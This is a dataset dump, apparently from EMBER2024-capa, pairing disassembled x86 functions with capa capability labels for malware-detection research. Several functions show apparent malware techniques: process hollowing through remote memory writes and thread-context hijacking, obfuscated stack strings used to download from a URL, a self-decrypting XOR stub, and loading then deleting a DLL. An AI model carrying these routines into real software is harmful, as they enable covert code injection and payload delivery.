joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ea430
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4ea45b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x4ea47f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x4ea49a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x4ec350
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x4ec36a
mov eax, dword [ecx + 0x40]
test eax, eax
je 0x4ec36a
mov edx, dword [esp + 8]
push edx
push ecx
call eax
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4edf40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x1c]
push eax
push ecx
push 1
call fcn.004ef930
add esp, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, esi
jne 0x4edf73
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
mov eax, 0xf4240
mov dword [edx + 0x258], eax
mov ecx, dword [ebp - 4]
push 0x40
mov dword [ecx + 0x25c], eax
push fcn.004cb354
mov edx, dword [ebp - 4]
push edx
call fcn.004ec2f0
push esi
push eax
call fcn.004cb3d0
add esp, 0x14
test eax, eax
je 0x4edfaf
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp + 0x20]
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x18]
push eax
push ecx
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.004efb50
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004ec3b0
mov edi, dword [ebp + 8]
add esp, 0x20
cmp edi, esi
mov ebx, 0x20000
je 0x4ee019
push 0
call fcn.004ecae0
mov dl, byte [esi + edi]
mov cl, byte [eax + esi]
add esp, 4
cmp dl, cl
je 0x4ee007
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x70]
or ecx, ebx
mov dword [eax + 0x70], ecx
push 0
call fcn.004ecae0
mov al, byte [eax + esi]
add esp, 4
inc esi
test al, al
jne 0x4edfe8
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x70]
test ebx, eax
je 0x4ee091
test edi, edi
je 0x4ee08a
mov bl, byte [edi]
push 0
call fcn.004ecae0
mov cl, byte [eax]
add esp, 4
cmp bl, cl
jne 0x4ee05d
cmp bl, 0x31
jne 0x4ee052
push 0
call fcn.004ecae0
mov dl, byte [edi + 2]
mov cl, byte [eax + 2]
add esp, 4
cmp dl, cl
jne 0x4ee05d
cmp byte [edi], 0x30
jne 0x4ee091
cmp byte [edi + 2], 0x39
jge 0x4ee091
test edi, edi
je 0x4ee08a
push 0
call fcn.004ecae0
push eax
push edi
push str.Application_built_with_libpng__.20s_but_running_with__.20s
lea eax, [ebp - 0x58]
push 0x50
push eax
call fcn.004cb6b8
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.004ec110
add esp, 0x20
mov dword [ebp - 8], 1
mov eax, dword [ebp - 4]
mov dword [eax + 0xb4], 0x2000
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4ee0df
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xb4]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.004efb20
add esp, 8
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xb0], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xb0]
test eax, eax
jne 0x4ee0d8
mov dword [ebp - 8], 1
mov eax, dword [ebp - 8]
test eax, eax
je 0x4ee11c
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xb0]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.004efad0
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x20]
push ecx
mov dword [eax + 0xb0], 0
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.004ef9d0
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.004ef8b0
mov edx, dword [ebp - 4]
push edx
call fcn.004ee640
add esp, 0x14
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4fb200
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x4fb230
push esi
call fcn.004fb700
mov al, byte [esi + 0x40]
add esp, 4
test al, al
je 0x4fb229
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x4fb2b3
mov eax, dword [esi + 0x1a0]
mov cl, byte [eax + 0x10]
test cl, cl
je 0x4fb29f
mov eax, dword [esi + 8]
test eax, eax
je 0x4fb254
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1a0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4fb29b
cmp eax, 2
je 0x4fb29f
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4fb247
cmp eax, 3
je 0x4fb27a
cmp eax, 1
jne 0x4fb247
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4fb247
mov edx, dword [esi + 0x120]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4fb247
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
push esi
mov dword [esi + 0x84], eax
call fcn.004fb2e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4fb2d3
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x15
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.004fb2e0
add esp, 4
pop esi
ret
Function at 0x52a06e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x52a0a6
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0052ce3d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0052ce14
jmp 0x52a0b2
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x52a0b6
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
push 0x655ff0
mov ecx, edi
call fcn.0052cb16
cmp dword [esi + 0x34], 0
push dword [esp + 0xc]
jne 0x52a109
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x52a11c
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, edi
call fcn.0052ce3d
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, edi
call fcn.0052ce14
jmp 0x52a11c
mov ecx, esi
call fcn.0052c2ef
test eax, eax
je 0x52a11c
push edi
mov ecx, eax
call fcn.0052a06e
mov eax, dword [edi]
pop edi
pop esi
mov eax, dword [eax - 8]
ret 8

Function at 0x52ba66
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x52baa8
call fcn.0053de11
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x52baa8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x52ba9f
xor eax, eax
jmp 0x52bab0
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0052bab6
pop edi
pop esi
pop ebx
ret 4
Function at 0x53e3bc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.0053de11
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x53e3f9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x53e3f9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x53e3fd
xor eax, eax
jmp 0x53e47b
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.00529189
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x53e435
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x53e41f
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.0053e56c
push ebx
mov edi, eax
call fcn.005291b2
test edi, edi
pop ecx
je 0x53e477
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.0053e335
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.0053e480
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x401000
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push 0
push 0
push eax
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401390
Capabilities:
Contain obfuscated stackstrings
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov ecx, dword [ebp + 0x10]
push ebx
push esi
mov edx, ecx
push edi
mov edi, dword [ebp + 0xc]
xor eax, eax
mov bl, 0x6e
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov byte [ebp - 0x14], 0x77
and ecx, 3
mov byte [ebp - 0x12], bl
rep stosb byte es:[edi], al
mov al, 0x69
mov byte [ebp - 0x10], bl
mov byte [ebp - 0x13], al
mov byte [ebp - 0x11], al
mov al, 0x6c
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xb], al
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x14]
mov byte [ebp - 0xe], 0x74
push eax
mov byte [ebp - 0xd], 0x2e
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 9], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA_1]
mov esi, eax
test esi, esi
je 0x401528
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], 0x49
push ecx
push esi
mov byte [ebp - 0x23], bl
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], bl
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x4f
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], bl
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
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nop
nop
nop
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nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
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nop
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nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
push 0
push 0
push str.baidu
call eax
mov edi, eax
test edi, edi
mov dword [ebp - 8], edi
je 0x4014f9
mov edx, dword [ebp + 8]
push 0
push 0x4000000
push 0
push 0
push edx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x4014f2
mov ecx, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, edx
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 4]
dec ecx
push eax
push ecx
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [ebp + 0xc]
push 0x4092c0
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x40151f
pop edi
pop esi
mov eax, str.DOWNFAIL
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4019c0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x20
lea eax, [ebp - 0x104]
push str.hra_u.dll
push eax
call dword [0x409ccc]
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA_1]
mov esi, eax
test esi, esi
je 0x401af9
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
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nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
push str.StartWork
push esi
call edi
push str.StopWork
push esi
mov dword [0x40a190], eax
call edi
test eax, eax
mov dword [0x40a194], eax
pop edi
je 0x401ae5
mov eax, dword [0x40a190]
test eax, eax
je 0x401ae5
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402690
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
inc dl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp + 0xc]
test esi, esi
jbe 0x4026c7
mov eax, dword [ebp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x4026bb
pop esi
pop ebp
ret
Function at 0x4026d0
Capabilities:
Contain obfuscated stackstrings
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov al, 0x65
push esi
mov byte [ebp - 0x13], al
mov byte [ebp - 0xc], al
mov byte [ebp - 8], al
mov byte [ebp - 4], al
lea eax, [ebp - 0x14]
push edi
mov cl, 0x6c
push eax
push str.kernel32.dll
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x4d
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], cl
mov byte [ebp - 0xb], 0x46
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], cl
mov byte [ebp - 7], 0x4e
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x6d
mov byte [ebp - 3], 0x41
mov byte [ebp - 2], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA_1]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x117]
mov byte [ebp - 0x118], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x118]
push 0x104
push ecx
push 0
stosb byte es:[edi], al
call edx
lea edx, [ebp - 0x21c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x21c]
push str.SOFTWARE.LOG
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x21c]
push 3
lea edx, [ebp - 0x118]
push ecx
push edx
call esi
test eax, eax
je 0x4027be
push 5
lea eax, [ebp - 0x21c]
push 0
push eax
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405db0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2ec
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00405ca0
add esp, 0xc
test eax, eax
je 0x405f94
mov ebp, dword [esp + 0x308]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [esp + 0x314]
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x10], 0
cmp ecx, eax
jne 0x405e22
mov ecx, dword [esp + 0x28]
cmp ebx, ecx
ja 0x405e22
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x405e60
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x405e60
mov eax, dword [ebp + 0x1c]
mov ecx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push eax
push ecx
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x310]
test eax, eax
jne 0x405ec8
push ebp
call fcn.00405d80
add esp, 4
test eax, eax
je 0x405ebc
mov edx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push 0
push edx
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x405f87
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
push eax
mov eax, dword [esp + 0x310]
push edi
push eax
push ebp
push ecx
push edx
call fcn.00405c20
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x405f87
mov edx, dword [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push 4
add edx, 8
push ecx
push edx
push eax
call esi
mov ecx, dword [esp + 0x300]
mov eax, dword [esp + 0x10]
push 0
push ebx
mov edx, dword [ecx + 0x3c]
push edi
mov dword [edx + edi + 0x34], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x405f6f
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x30], 0x10007
jne 0x405f37
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
mov dword [esp + 0xe0], eax
jmp 0x405f43
mov ecx, dword [ebp + 0x10]
add ecx, eax
mov dword [esp + 0xe0], ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
Function at 0x44181d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44184b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x441869
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00441787
jmp 0x441869
mov eax, dword [esi + 0x14]
test eax, eax
je 0x441869
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00441787
test edi, edi
mov eax, edi
jne 0x441853
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56b49c]
test ecx, ecx
je 0x44191c
jmp 0x44181c
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40c65c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c6c0
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404208
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040804c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6c7
lea eax, [ebp - 0xc]
call fcn.00403f98
ret

Function at 0x41a9f8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x460884
cmp dword [edi], 0
jne 0x41aa74
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x460880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x45e46c
mov ecx, 2
call fcn.004028b8
mov edx, 0x41a9d0
lea eax, [esi + 5]
call fcn.0041a9f0
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041a9f0
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41aa49
mov dword [0x460880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41bff0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41bff6
ret